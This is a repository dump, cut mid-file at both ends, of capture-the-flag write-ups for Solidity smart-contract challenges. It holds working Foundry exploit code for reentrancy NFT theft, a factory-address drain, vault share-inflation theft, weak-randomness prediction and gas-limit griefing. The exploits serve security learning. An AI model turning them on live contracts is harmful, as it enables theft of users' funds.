data, which is simply a `uint`. 7 | 8 | 9 | # POC (Foundry) 10 | ```solidity 11 | // SPDX-License-Identifier: UNLICENSED 12 | pragma solidity ^0.8.13; 13 | 14 | import "forge-std/Test.sol"; 15 | import "src/Pelusa.sol"; 16 | 17 | // Inherit from `Pelusa` to maintain same storage layout, 18 | // so it's easier to modify `goals` variable 19 | contract Player is Pelusa, IGame { 20 | address ballPossesion; 21 | 22 | // Use constructor to bypass the `msg.sender.code.length == 0` 23 | constructor(address pelusa, address _ballPossesion) { 24 | // set the `Pelusa.player` 25 | Pelusa(pelusa).passTheBall(); 26 | 27 | ballPossesion = _ballPossesion; 28 | } 29 | 30 | function getBallPossesion() external view returns (address) { 31 | return ballPossesion; 32 | } 33 | 34 | function handOfGod() external returns(uint){ 35 | goals ++; 36 | 37 | return 22_06_1986; 38 | } 39 | } 40 | 41 | contract SolvePelusa is Test { 42 | 43 | Pelusa pelusa; 44 | address pelusaOwner; 45 | 46 | function setUp() public { 47 | pelusa = new Pelusa(); 48 | } 49 | 50 | function testPassTheBall() public { 51 | // 0. calculate the `Pelusa.owner` using its own algorithm 52 | bytes32 BLOCK_HASH_READ_FROM_NODE_SERVER; // foundry uses 0 as blockhash 53 | pelusaOwner = address(uint160(uint256(keccak256( 54 | abi.encodePacked(address(this), BLOCK_HASH_READ_FROM_NODE_SERVER))))); 55 | 56 | // 1. Brute force `salt` to find an address that matches the `%100==10` 57 | uint salt = bruteForceSalt(1000); // just try 1000 times 58 | require (uint(salt) != 0, "no valid salt"); 59 | 60 | // 2. Set the `Pelusa.player` 61 | new Player{salt: bytes32(salt)}( 62 | address(pelusa), pelusaOwner 63 | ); 64 | 65 | // 3. shoot 66 | pelusa.shoot(); 67 | 68 | require(pelusa.goals() == 2, "goals != 2"); 69 | } 70 | 71 | function bruteForceSalt(uint max) private view returns(uint) { 72 | uint hashInitCode = uint(keccak256(abi.encodePacked( 73 | type(Player).creationCode, abi.encode(address(pelusa), pelusaOwner) 74 | ))); 75 | 76 | for (uint salt=1; salt<=max; salt++) { 77 | uint160 numAddr = uint160(uint(keccak256(abi.encodePacked( 78 | bytes1(0xff), address(this), salt, hashInitCode)))); 79 | 80 | if (numAddr % 100 == 10) { 81 | return salt; 82 | } 83 | } 84 | return 0; 85 | } 86 | } 87 | ``` 88 | 89 | # output 90 | > Running 1 test for test/SolvePelusa.t.sol:SolvePelusa 91 | > 92 | > [PASS] testPassTheBall() (gas: 380225) 93 | > 94 | > Test result: ok. 1 passed; 0 failed; finished in 887.51µs 95 | -------------------------------------------------------------------------------- /Lottery.md: -------------------------------------------------------------------------------- 1 | # Analysis 2 | 1. The suspicious address `0x0A1EB1b2d96a175608edEF666c171d351109d8AA` comes from nowhere, but since it must have something to do with the factory, I tried printing the first 100 address that it creates. Foutunately it's the 17th address. 3 | 4 | 2. the `create()` returns 0 address when it fails, we can simply use a contract that reverts in the contructor to trigger it: 5 | ```solidity 6 | contract Revert { 7 | constructor() { 8 | revert(""); 9 | } 10 | } 11 | 12 | ``` 13 | Compile it into byte code with commandline: `solc revert.sol --bin`. 14 | 15 | When it fails, the factory transfers the `msg.value` back to us, so we can call it repeatedly (16 times) 16 | 17 | 3. On the 17th call, it will create on the target address, we need to write a contract that withdraw all the balance in the constructor: 18 | ```solidity 19 | contract Withdraw { 20 | constructor(address attacker) { 21 | payable(address(attacker)).send(address(this).balance); 22 | } 23 | } 24 | ``` 25 | 26 | Then append the attacker's address to the end of the byte code, that's how the constructor parameters work during contract creation: 27 | ``` 28 | abi.encodePacked(codeWithdraw, abi.encode(attacker)); 29 | ``` 30 | 31 | 32 | # POC 33 | ```solidity 34 | contract Lottery is Test { 35 | 36 | Factory private factory; 37 | address attacker; 38 | 39 | function setUp() public { 40 | factory = new Factory(); 41 | attacker = makeAddr("attacker"); 42 | } 43 | 44 | function testLottery() public { 45 | vm.deal(attacker, 11 ether); 46 | vm.deal(0x0A1EB1b2d96a175608edEF666c171d351109d8AA, 200 ether); 47 | vm.startPrank(attacker); 48 | 49 | //Solution 50 | /* 51 | contract Revert { 52 | constructor() { 53 | revert(""); 54 | } 55 | } 56 | */ 57 | bytes memory codeRevert = hex"6080604052348015600f57600080fd5b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401604090607c565b60405180910390fd5b600082825260208201905092915050565b50565b600060686000836049565b9150607182605a565b600082019050919050565b60006020820190508181036000830152609381605d565b905091905056fe"; 58 | for (uint i; i<16; i++) { 59 | factory.dep{value: 10 ether}(codeRevert); 60 | } 61 | 62 | /* 63 | contract Withdraw { 64 | constructor(address attacker) { 65 | payable(address(attacker)).send(address(this).balance); 66 | } 67 | } 68 | */ 69 | 70 | bytes memory codeWithdraw = hex"608060405234801561001057600080fd5b5060405161014b38038061014b833981810160405281019061003291906100d1565b8073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505050506100fe565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061009e82610073565b9050919050565b6100ae81610093565b81146100b957600080fd5b50565b6000815190506100cb816100a5565b92915050565b6000602082840312156100e7576100e661006e565b5b60006100f5848285016100bc565b91505092915050565b603f8061010c6000396000f3fe6080604052600080fdfea264697066735822122030479a835daab8373f3069876b1114d02f6fae6f4cb587c49a2cda4f0e483d0264736f6c63430008130033"; 71 | 72 | codeWithdraw = abi.encodePacked(codeWithdraw, abi.encode(attacker)); 73 | factory.dep{value: 10 ether}(codeWithdraw); 74 | 75 | vm.stopPrank(); 76 | assertGt(attacker.balance, 200 ether); 77 | } 78 | } 79 | 80 | ``` 81 | -------------------------------------------------------------------------------- /InvestPool.md: -------------------------------------------------------------------------------- 1 | # Analysis of the goerli contract 2 | 1. The contrat has a function `getPassword()` which returns 5, but it's not the real password. 3 | 2. By the hint from Discord, it has something to do with the metadata, the cbor data can be decoded to: 4 | ``` 5 | { 6 | "ipfs": h'122054C3E28CDED5E23F5B3EE244C86C623B672D772B268FDC5E76E4FE131E690BEA', 7 | "solc": h'00060B' 8 | } 9 | 10 | ``` 11 | And google says the ipfs is base58 and a prefix Qm, on this [online base58 encoding site](https://appdevtools.com/base58-encoder-decoder), input the ipfs and I got: 12 | 13 | ``` 14 | base58(hex"122054C3E28CDED5E23F5B3EE244C86C623B672D772B268FDC5E76E4FE131E690BEA") 15 | -> QmU3YCRfRZ1bxDNnxB4LVNCUWLs26wVaqPoQSQ6RH2u86V 16 | ``` 17 | This is the CID, then query this CID: 18 | https://ipfs.io/ipfs/QmU3YCRfRZ1bxDNnxB4LVNCUWLs26wVaqPoQSQ6RH2u86V 19 | 20 | The page shows: `j5kvj49djym590dcjbm7034uv09jih094gjcmjg90cjm58bnginxxx`, the real password. 21 | 22 | 23 | # The logic vulnerability 24 | 1. The function `tokenToShares` use `token.balenceOf(pool)` to do the calculation. The balance is supposed to increase by calling `deposit()`, the problem is, hacker can call `ERC20.transfer()` to send token to balance, without increasing the `totalShares`. 25 | 2. Hence, if hacker `deposit(1 wei)`, and directly transfer all his rest token to pool, even when user `deposit()`, he can't get the share, because `(amount * totalShares) / tokenBalance` is always 0. There's only 1 exception that the user deposit the same amount as the balance, which is 1000 ether. 26 | 27 | # POC (Foundry) 28 | ```solidity 29 | // SPDX-License-Identifier: MIT 30 | pragma solidity ^0.8.7; 31 | 32 | import "forge-std/Test.sol"; 33 | import "../src/InvestPool.sol"; 34 | 35 | contract HackInvestPool is Test { 36 | PoolToken token; 37 | InvestPool pool; 38 | address user = vm.addr(1); 39 | address hacker = vm.addr(2); 40 | 41 | function setUp() external { 42 | token = new PoolToken(); 43 | pool = new InvestPool(address(token)); 44 | 45 | token.mint(2000e18); 46 | token.transfer(user, 1000e18); 47 | token.transfer(hacker, 1000e18); 48 | 49 | vm.prank(user); 50 | token.approve(address(pool), type(uint).max); 51 | 52 | vm.prank(hacker); 53 | token.approve(address(pool), type(uint).max); 54 | } 55 | 56 | function userDeposit(uint amount) public { 57 | vm.prank(user); 58 | pool.deposit(amount); 59 | } 60 | function userWithdraw() public { 61 | vm.prank(user); 62 | pool.withdrawAll(); 63 | } 64 | function hackerDeposit(uint amount) public { 65 | vm.prank(hacker); 66 | pool.deposit(amount); 67 | } 68 | function hackerWithdraw() public { 69 | vm.prank(hacker); 70 | pool.withdrawAll(); 71 | } 72 | function hackerTransferToPool(uint amount) public { 73 | vm.prank(hacker); 74 | token.transfer(address(pool), amount); 75 | } 76 | 77 | function test_hack() public { 78 | uint hackerBalanceBeforeHack = token.balanceOf(hacker); 79 | 80 | vm.startPrank(hacker); 81 | pool.initialize("j5kvj49djym590dcjbm7034uv09jih094gjcmjg90cjm58bnginxxx"); 82 | vm.stopPrank(); 83 | 84 | 85 | hackerDeposit(1); 86 | hackerTransferToPool(1000e18 - 1); 87 | 88 | userDeposit(1000e18 - 1); 89 | 90 | hackerWithdraw(); 91 | 92 | assertGt(token.balanceOf(hacker), hackerBalanceBeforeHack); 93 | } 94 | } 95 | 96 | ``` 97 | 98 | # Thank you guys very much for these awesome CTF challenges 99 | -------------------------------------------------------------------------------- /GoldNFT.md: -------------------------------------------------------------------------------- 1 | # Find out what the constructor of `GoldNFT` does 2 | 3 | The creation code is the call data of the transaction that creates the contract. Copy it from etherscan and decompile using the [decompiler](https://library.dedaub.com/decompile), it shows: 4 | ```solidity 5 | function __function_selector__() public payable { 6 | MEM[64] = 128; 7 | require(!msg.value); 8 | STORAGE[keccak256(msg.sender)] = 1; 9 | return MEM[0 len 535]; 10 | } 11 | ``` 12 | So this is what the constructor does: 13 | - Store the value of `keccak256(msg.sender)` to storage slot 1, which is `keccak256(0x302fF1c5F7e264b792876B9456F42de8dF299863)` 14 | 15 | We can also verify this on [playground](https://www.evm.codes/playground) by single stepping through, it does that with opcodes `CALLER` and `SHA3`. 16 | 17 | # Runtime code 18 | The runtime code can be obtained from [etherscan](https://goerli.etherscan.io/address/0xe43029d90B47Dd47611BAd91f24F87Bc9a03AEC2#code), the decompiler shows the function `read` as: 19 | ```solidity 20 | function read(bytes32 varg0) public payable { 21 | require(4 + (msg.data.length - 4) - 4 >= 32); 22 | require(varg0 == varg0); 23 | return STORAGE[varg0]; 24 | } 25 | ``` 26 | The argument is the slot, and it checks if the `storage[slot]` is non-zero, the only non-zero value was set in the constructor, so the slot argument should be `keccak256(0x302fF1c5F7e264b792876B9456F42de8dF299863)` 27 | 28 | # Reentrancy 29 | So far we can call `takeONEnft` to get 1 NFT, but it can be called only once, we need to use the re-entrancy to call it 9 more times. 30 | When an NFT is transfered and if the target is a contract, a function callback `onERC721Received` is called. We use this callback to call `takeONEnft` again and again to get all 10 NFTs. 31 | 32 | # POC (Foundry) 33 | ```solidity 34 | // SPDX-License-Identifier: MIT 35 | pragma solidity ^0.8.7; 36 | 37 | import "forge-std/Test.sol"; 38 | import "../src/GoldNFT.sol"; 39 | 40 | import {IERC721Receiver} from "lib/openzeppelin-contracts/contracts/token/ERC721/IERC721Receiver.sol"; 41 | 42 | contract GoldNFTHack is Test { 43 | GoldNFT nft; 44 | HackGoldNft nftHack; 45 | address owner = makeAddr("owner"); 46 | address hacker = makeAddr("hacker"); 47 | 48 | function setUp() external { 49 | vm.createSelectFork("goerli", 8591866); 50 | nft = new GoldNFT(); 51 | } 52 | 53 | 54 | function test_Attack() public { 55 | vm.startPrank(hacker); 56 | // solution 57 | 58 | nftHack = new HackGoldNft(address(nft)); 59 | 60 | nftHack.get10Nft(); 61 | 62 | // end of solution 63 | assertEq(nft.balanceOf(hacker), 10); 64 | } 65 | } 66 | 67 | contract HackGoldNft is IERC721Receiver { 68 | bytes32 slot; 69 | address hacker; 70 | GoldNFT nft; 71 | 72 | constructor(address _nft) { 73 | hacker = msg.sender; 74 | nft = GoldNFT(_nft); 75 | 76 | address creator = 0x302fF1c5F7e264b792876B9456F42de8dF299863; 77 | slot = keccak256(abi.encode(creator)); 78 | } 79 | function get10Nft() external { 80 | nft.takeONEnft(slot); 81 | } 82 | 83 | function onERC721Received( 84 | address, address to, uint tokenId, bytes memory 85 | ) public returns (bytes4 ) { 86 | // send this nft to hacker 87 | nft.transferFrom(address(this), hacker, tokenId); 88 | 89 | // do it 9 more times 90 | if(nft.balanceOf(hacker) < 10) { 91 | nft.takeONEnft(slot); 92 | } 93 | 94 | // must return this selector as described here: 95 | // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/d59306bd06a241083841c2e4a39db08e1f3722cc/contracts/token/ERC721/IERC721Receiver.sol#L16 96 | return IERC721Receiver.onERC721Received.selector; 97 | } 98 | } 99 | ``` 100 | -------------------------------------------------------------------------------- /EQ.md: -------------------------------------------------------------------------------- 1 | # The goal 2 | 3 | You need to write a smart contract that accepts two unsigned integers as inputs. The contract should return 1 if the input numbers are equal; otherwise, it should return a different number. 4 | 5 | Limitations: 6 | - Most arithmetic opcodes are banned. 7 | - If possible, try to use `pragma solidity 0.8.7;`, it doesn't support `PUSH0`, making it more difficult. 8 | 9 | # Foundry setup 10 | 11 | ```solidity 12 | 13 | // SPDX-License-Identifier: MIT 14 | pragma solidity ^0.8.7; 15 | 16 | import "forge-std/Test.sol"; 17 | 18 | contract EQ is Test { 19 | address isNumbersEQContract; 20 | bytes1[] badOpcodes; 21 | 22 | function setUp() public { 23 | badOpcodes.push(hex"01"); // ADD 24 | badOpcodes.push(hex"02"); // MUL 25 | badOpcodes.push(hex"03"); // SUB 26 | badOpcodes.push(hex"04"); // DIV 27 | badOpcodes.push(hex"05"); // SDIV 28 | badOpcodes.push(hex"06"); // MOD 29 | badOpcodes.push(hex"07"); // SMOD 30 | badOpcodes.push(hex"08"); // ADDMOD 31 | badOpcodes.push(hex"09"); // MULLMOD 32 | badOpcodes.push(hex"18"); // XOR 33 | badOpcodes.push(hex"10"); // LT 34 | badOpcodes.push(hex"11"); // GT 35 | badOpcodes.push(hex"12"); // SLT 36 | badOpcodes.push(hex"13"); // SGT 37 | badOpcodes.push(hex"14"); // EQ 38 | badOpcodes.push(hex"f0"); // create 39 | badOpcodes.push(hex"f5"); // create2 40 | badOpcodes.push(hex"19"); // NOT 41 | badOpcodes.push(hex"1b"); // SHL 42 | badOpcodes.push(hex"1c"); // SHR 43 | badOpcodes.push(hex"1d"); // SAR 44 | vm.createSelectFork( 45 | "https://rpc.ankr.com/eth" 46 | ); 47 | address isNumbersEQContractTemp; 48 | 49 | // solution - your bytecode 50 | bytes memory bytecode = 51 | // 52 | 53 | require(bytecode.length < 40, "try harder!"); 54 | for (uint i; i < bytecode.length; i++) { 55 | for (uint a; a < badOpcodes.length; a++) { 56 | if (bytecode[i] == badOpcodes[a]) revert(); 57 | } 58 | } 59 | 60 | assembly { 61 | isNumbersEQContractTemp := create( 62 | 0, 63 | add(bytecode, 0x20), 64 | mload(bytecode) 65 | ) 66 | if iszero(extcodesize(isNumbersEQContractTemp)) { 67 | revert(0, 0) 68 | } 69 | } 70 | isNumbersEQContract = isNumbersEQContractTemp; 71 | } 72 | 73 | // fuzzing test 74 | function test_isNumbersEq(uint8 a, uint8 b) public { 75 | (bool success, bytes memory data) = isNumbersEQContract.call{value: 4}( 76 | abi.encodeWithSignature("isEq(uint256, uint256)", a, b) 77 | ); 78 | require(success, "!success"); 79 | uint result = abi.decode(data, (uint)); 80 | a == b ? assert(result == 1) : assert(result != 1); 81 | 82 | // additional tests 83 | // 1 - equal numbers 84 | (, data) = isNumbersEQContract.call{value: 4}( 85 | abi.encodeWithSignature("isEq(uint256, uint256)", 57204, 57204) 86 | ); 87 | require(abi.decode(data, (uint)) == 1, "1 test fail"); 88 | // 2 - different numbers 89 | (, data) = isNumbersEQContract.call{value: 4}( 90 | abi.encodeWithSignature("isEq(uint256, uint256)", 0, 3568) 91 | ); 92 | require(abi.decode(data, (uint)) != 1, "2 test fail"); 93 | } 94 | } 95 | 96 | ``` 97 | 98 | 99 | # Solutions 100 | - https://yanhuijessica.github.io/Chictf-Writeups/wargames/quillctf/assert_equal/#proof-of-concept 101 | - https://github.com/Kaiziron/quill-ctf-writeup/blob/main/assert-equal.md 102 | - https://github.com/aj3423/quill-ctf-s1/blob/master/EQ.md 103 | 104 | -------------------------------------------------------------------------------- /PredictableNFT.md: -------------------------------------------------------------------------------- 1 | # Background 2 | Before the Oracles, it was difficult to generate random numbers. People had to use `sha3(block.number)` or other built-in variables to simulate the randomness. 3 | 4 | # The predictable NFT game 5 | In this game, there are 3 possible NFT ranks: Common(1), Rare(2), Superior(3). 6 | 7 | Their randomization algorithm is weak, making it possible to predict the minting result. 8 | The contract: 9 | https://sepolia.etherscan.io/address/0x3D7C37943cF411BD4d52D50735B110B4384F9ae7 10 | 11 | # The Goal 12 | Analyze the contract's bytecode and find out its weakness. 13 | You have 0.01 ether to mint 1 token, make sure to mint a Superior one. 14 | You can wait and mint it on the right block. 15 | 16 | # Foundry setup: 17 | ```solidity 18 | // SPDX-License-Identifier: UNLICENSED 19 | pragma solidity ^ 0.8.19; 20 | 21 | import "forge-std/Test.sol"; 22 | 23 | contract PredictableNFTTest is Test { 24 | address nft; 25 | 26 | address hacker = address(0x1234); 27 | 28 | function setUp() public { 29 | vm.createSelectFork("https://rpc.ankr.com/eth_sepolia"); 30 | vm.deal(hacker, 0.01 ether); 31 | 32 | nft = address(0x3D7C37943cF411BD4d52D50735B110B4384F9ae7); 33 | } 34 | 35 | function test() public { 36 | vm.startPrank(hacker); 37 | 38 | uint mintedId; 39 | 40 | uint currentBlockNum = block.number; 41 | 42 | // Mint a Superior one, do it within the next 100 blocks. 43 | for(uint i=0; i<100; i++) { 44 | vm.roll(currentBlockNum); 45 | 46 | // call the function `mint()` on the right block and break the loop 47 | // ---- hacking time ---- 48 | 49 | // ---- end of hacking ---- 50 | 51 | currentBlockNum++; 52 | } 53 | 54 | // get rank from `mapping(tokenId => rank)` 55 | (, bytes memory ret) = nft.call(abi.encodeWithSignature( 56 | "tokens(uint256)", 57 | mintedId 58 | )); 59 | uint mintedRank = uint(bytes32(ret)); 60 | assertEq(mintedRank, 3, "not Superior(rank != 3)"); 61 | } 62 | } 63 | 64 | ``` 65 | 66 | # Hint 67 | - There is a mint trasaction, you can debug it with foundry: 68 | `cast run 0x21432653a0be2b3b45a18511b1a1226dd4a72b72301753653bf231f00b811263 --debug --rpc-url "https://rpc.ankr.com/eth_sepolia" --quick` 69 | - You can use the decompiler on https://sepolia.etherscan.io/bytecode-decompiler?a=0x3D7C37943cF411BD4d52D50735B110B4384F9ae7 70 | - Or refer to the source code at the end. 71 | 72 | 73 | # Solution 74 | `---- hacking time ----`: 75 | ```solidity 76 | (, bytes memory ret) = nft.call(abi.encodeWithSignature( 77 | "id()" 78 | )); 79 | uint nextId = uint(bytes32(ret)) + 1; 80 | 81 | uint score = uint256(keccak256(abi.encode( 82 | nextId, hacker, currentBlockNum 83 | ))) % 100; 84 | 85 | if(score > 90) { 86 | (, bytes memory ret) = nft.call{value: 0.01 ether}(abi.encodeWithSignature( 87 | "mint()" 88 | )); 89 | mintedId = uint(bytes32(ret)); 90 | break; 91 | } 92 | ``` 93 | 94 | # The source code of that contract 95 | ```solidity 96 | // SPDX-License-Identifier: MIT 97 | pragma solidity ^ 0.8.19; 98 | 99 | contract PredictableNFT { 100 | uint public id; 101 | 102 | mapping(uint => uint) public tokens; // map of: tokenId => rank 103 | 104 | function mint() external payable returns(uint) { 105 | require(msg.value == 0.01 ether, "show me the money"); 106 | 107 | id += 1; 108 | 109 | uint rank = random(); 110 | 111 | tokens[id] = rank; 112 | 113 | return id; 114 | } 115 | 116 | function random() private view returns(uint) { 117 | uint randScore = uint256(keccak256(abi.encode( 118 | id, msg.sender, block.number 119 | ))) % 100; 120 | 121 | if(randScore > 90) { 122 | return 3; // Superior 123 | } else if(randScore > 80) { 124 | return 2; // Rare 125 | } else { 126 | return 1; // Common 127 | } 128 | } 129 | } 130 | ``` 131 | 132 | 133 | -------------------------------------------------------------------------------- /Arbitrage.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.7; 3 | 4 | import "forge-std/Test.sol"; 5 | import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 6 | import {ISwapV2Router02} from "src/ISwapV2Router02.sol"; 7 | 8 | contract Token is ERC20 { 9 | constructor( 10 | string memory name, 11 | string memory symbol, 12 | uint initialMint 13 | ) ERC20(name, symbol) { 14 | _mint(msg.sender, initialMint); 15 | } 16 | } 17 | 18 | contract Arbitrage is Test { 19 | address[] tokens; 20 | Token Atoken; 21 | Token Btoken; 22 | Token Ctoken; 23 | Token Dtoken; 24 | Token Etoken; 25 | Token Ftoken; 26 | address owner = makeAddr("owner"); 27 | address arbitrageMan = makeAddr("arbitrageMan"); 28 | ISwapV2Router02 router = 29 | ISwapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 30 | 31 | function addL(address first, address second, uint aF, uint aS) internal { 32 | router.addLiquidity( 33 | address(first), 34 | address(second), 35 | aF, 36 | aS, 37 | aF, 38 | aS, 39 | owner, 40 | block.timestamp 41 | ); 42 | } 43 | 44 | function setUp() public { 45 | vm.createSelectFork("https://rpc.ankr.com/eth"); 46 | vm.startPrank(owner); 47 | Atoken = new Token("Atoken", "ATK", 100 ether); 48 | tokens.push(address(Atoken)); 49 | Btoken = new Token("Btoken", "BTK", 100 ether); 50 | tokens.push(address(Btoken)); 51 | Ctoken = new Token("Ctoken", "CTK", 100 ether); 52 | tokens.push(address(Ctoken)); 53 | Dtoken = new Token("Dtoken", "DTK", 100 ether); 54 | tokens.push(address(Dtoken)); 55 | Etoken = new Token("Etoken", "ETK", 100 ether); 56 | tokens.push(address(Etoken)); 57 | 58 | Atoken.approve(address(router), 100 ether); 59 | Btoken.approve(address(router), 100 ether); 60 | Ctoken.approve(address(router), 100 ether); 61 | Dtoken.approve(address(router), 100 ether); 62 | Etoken.approve(address(router), 100 ether); 63 | 64 | addL(address(Atoken), address(Btoken), 17 ether, 10 ether); 65 | addL(address(Atoken), address(Ctoken), 11 ether, 7 ether); 66 | addL(address(Atoken), address(Dtoken), 15 ether, 9 ether); 67 | addL(address(Atoken), address(Etoken), 21 ether, 5 ether); 68 | addL(address(Btoken), address(Ctoken), 36 ether, 4 ether); 69 | addL(address(Btoken), address(Dtoken), 13 ether, 6 ether); 70 | addL(address(Btoken), address(Etoken), 25 ether, 3 ether); 71 | addL(address(Ctoken), address(Dtoken), 30 ether, 12 ether); 72 | addL(address(Ctoken), address(Etoken), 10 ether, 8 ether); 73 | addL(address(Dtoken), address(Etoken), 60 ether, 25 ether); 74 | 75 | Btoken.transfer(arbitrageMan, 5 ether); 76 | vm.stopPrank(); 77 | } 78 | 79 | function swap(address from, address to) private { 80 | address[] memory path = new address[](2) ; 81 | path[0] = from; 82 | path[1] = to; 83 | router.swapExactTokensForTokens(Token(from).balanceOf(arbitrageMan), 0, path, arbitrageMan, block.timestamp); 84 | } 85 | function testHack() public { 86 | vm.startPrank(arbitrageMan); 87 | uint tokensBefore = Btoken.balanceOf(arbitrageMan); 88 | Btoken.approve(address(router), 5 ether); 89 | 90 | // solution 91 | Atoken.approve(address(router), 100 ether); 92 | Ctoken.approve(address(router), 100 ether); 93 | Etoken.approve(address(router), 100 ether); 94 | 95 | swap(address(Btoken), address(Atoken)); 96 | swap(address(Atoken), address(Ctoken)); 97 | swap(address(Ctoken), address(Btoken)); 98 | 99 | uint tokensAfter = Btoken.balanceOf(arbitrageMan); 100 | assertGt(tokensAfter, tokensBefore); 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /Arbitrage.md: -------------------------------------------------------------------------------- 1 | # Analysis 2 | 3 | The token pairs are not balanced, paths like `C->B (4:36)` or `E->B (3:25)` has very high outcome: 4 | Some arbitrage paths would be: 5 | ``` 6 | B -> A -> C -> B 7 | B -> A -> E -> B 8 | ... 9 | ``` 10 | 11 | # POC 12 | 13 | ```solidity 14 | // SPDX-License-Identifier: MIT 15 | pragma solidity ^0.8.7; 16 | 17 | import "forge-std/Test.sol"; 18 | import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 19 | import {ISwapV2Router02} from "src/ISwapV2Router02.sol"; 20 | 21 | contract Token is ERC20 { 22 | constructor( 23 | string memory name, 24 | string memory symbol, 25 | uint initialMint 26 | ) ERC20(name, symbol) { 27 | _mint(msg.sender, initialMint); 28 | } 29 | } 30 | 31 | contract Arbitrage is Test { 32 | address[] tokens; 33 | Token Atoken; 34 | Token Btoken; 35 | Token Ctoken; 36 | Token Dtoken; 37 | Token Etoken; 38 | Token Ftoken; 39 | address owner = makeAddr("owner"); 40 | address arbitrageMan = makeAddr("arbitrageMan"); 41 | ISwapV2Router02 router = 42 | ISwapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 43 | 44 | function addL(address first, address second, uint aF, uint aS) internal { 45 | router.addLiquidity( 46 | address(first), 47 | address(second), 48 | aF, 49 | aS, 50 | aF, 51 | aS, 52 | owner, 53 | block.timestamp 54 | ); 55 | } 56 | 57 | function setUp() public { 58 | vm.createSelectFork("https://rpc.ankr.com/eth"); 59 | vm.startPrank(owner); 60 | Atoken = new Token("Atoken", "ATK", 100 ether); 61 | tokens.push(address(Atoken)); 62 | Btoken = new Token("Btoken", "BTK", 100 ether); 63 | tokens.push(address(Btoken)); 64 | Ctoken = new Token("Ctoken", "CTK", 100 ether); 65 | tokens.push(address(Ctoken)); 66 | Dtoken = new Token("Dtoken", "DTK", 100 ether); 67 | tokens.push(address(Dtoken)); 68 | Etoken = new Token("Etoken", "ETK", 100 ether); 69 | tokens.push(address(Etoken)); 70 | 71 | Atoken.approve(address(router), 100 ether); 72 | Btoken.approve(address(router), 100 ether); 73 | Ctoken.approve(address(router), 100 ether); 74 | Dtoken.approve(address(router), 100 ether); 75 | Etoken.approve(address(router), 100 ether); 76 | 77 | addL(address(Atoken), address(Btoken), 17 ether, 10 ether); 78 | addL(address(Atoken), address(Ctoken), 11 ether, 7 ether); 79 | addL(address(Atoken), address(Dtoken), 15 ether, 9 ether); 80 | addL(address(Atoken), address(Etoken), 21 ether, 5 ether); 81 | addL(address(Btoken), address(Ctoken), 36 ether, 4 ether); 82 | addL(address(Btoken), address(Dtoken), 13 ether, 6 ether); 83 | addL(address(Btoken), address(Etoken), 25 ether, 3 ether); 84 | addL(address(Ctoken), address(Dtoken), 30 ether, 12 ether); 85 | addL(address(Ctoken), address(Etoken), 10 ether, 8 ether); 86 | addL(address(Dtoken), address(Etoken), 60 ether, 25 ether); 87 | 88 | Btoken.transfer(arbitrageMan, 5 ether); 89 | vm.stopPrank(); 90 | } 91 | 92 | function swap(address from, address to) private { 93 | address[] memory path = new address[](2) ; 94 | path[0] = from; 95 | path[1] = to; 96 | router.swapExactTokensForTokens(Token(from).balanceOf(arbitrageMan), 0, path, arbitrageMan, block.timestamp); 97 | } 98 | function testHack() public { 99 | vm.startPrank(arbitrageMan); 100 | uint tokensBefore = Btoken.balanceOf(arbitrageMan); 101 | Btoken.approve(address(router), 5 ether); 102 | 103 | // solution 104 | Atoken.approve(address(router), 100 ether); 105 | Ctoken.approve(address(router), 100 ether); 106 | Etoken.approve(address(router), 100 ether); 107 | 108 | swap(address(Btoken), address(Atoken)); 109 | swap(address(Atoken), address(Ctoken)); 110 | swap(address(Ctoken), address(Btoken)); 111 | 112 | uint tokensAfter = Btoken.balanceOf(arbitrageMan); 113 | assertGt(tokensAfter, tokensBefore); 114 | } 115 | } 116 | 117 | ``` 118 | -------------------------------------------------------------------------------- /PrivateClub.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/Test.sol"; 5 | import "../src/PrivateClub.sol"; 6 | 7 | contract HackPrivateClub is Test { 8 | PrivateClub club; 9 | 10 | address clubAdmin = makeAddr("clubAdmin"); 11 | address adminFriend = makeAddr("adminFriend"); 12 | address user2 = makeAddr("user2"); 13 | address user3 = makeAddr("user3"); 14 | address user4 = makeAddr("user4"); 15 | address hacker = makeAddr("hacker"); 16 | uint blockGasLimit = 120000; 17 | 18 | function setUp() public { 19 | vm.deal(clubAdmin, 100 ether); 20 | vm.deal(hacker, 10 ether); 21 | vm.deal(user2, 10 ether); 22 | vm.deal(user3, 10 ether); 23 | vm.deal(user4, 10 ether); 24 | 25 | vm.startPrank(clubAdmin); 26 | club = new PrivateClub(); 27 | club.setRegisterEndDate(block.timestamp + 5 days); 28 | club.addMemberByAdmin(adminFriend); 29 | address(club).call{value: 100 ether}(""); 30 | vm.stopPrank(); 31 | 32 | vm.startPrank(user2); 33 | address[] memory mForUser2 = new address[](1); 34 | mForUser2[0] = adminFriend; 35 | club.becomeMember{value: 1 ether}(mForUser2); 36 | vm.stopPrank(); 37 | 38 | vm.startPrank(user3); 39 | address[] memory mForUser3 = new address[](2); 40 | mForUser3[0] = adminFriend; 41 | mForUser3[1] = user2; 42 | club.becomeMember{value: 2 ether}(mForUser3); 43 | vm.stopPrank(); 44 | } 45 | 46 | function test_attack() public { 47 | vm.startPrank(hacker); 48 | // task1: become member of the club and 49 | // block future registrations (reason: out of gas - block gas limit) 50 | // solution: 51 | 52 | // 1) hacker becomes member 53 | // There're 3 existing members: adminFriend, user2, user3 54 | address[] memory mForHacker = new address[](3); 55 | mForHacker[0] = hacker; 56 | mForHacker[1] = hacker; 57 | mForHacker[2] = hacker; 58 | club.becomeMember{value: 3 ether}(mForHacker); 59 | 60 | // 2) hacker's contract becomes member 61 | HackerContract hContract = new HackerContract(); 62 | hContract.becomeMember{value: 4 ether}(club); 63 | hContract.setConsume120000Gas(true); 64 | 65 | vm.stopPrank(); 66 | // check - hacker is member 67 | assertTrue(club.members(hacker)); 68 | 69 | 70 | // check - 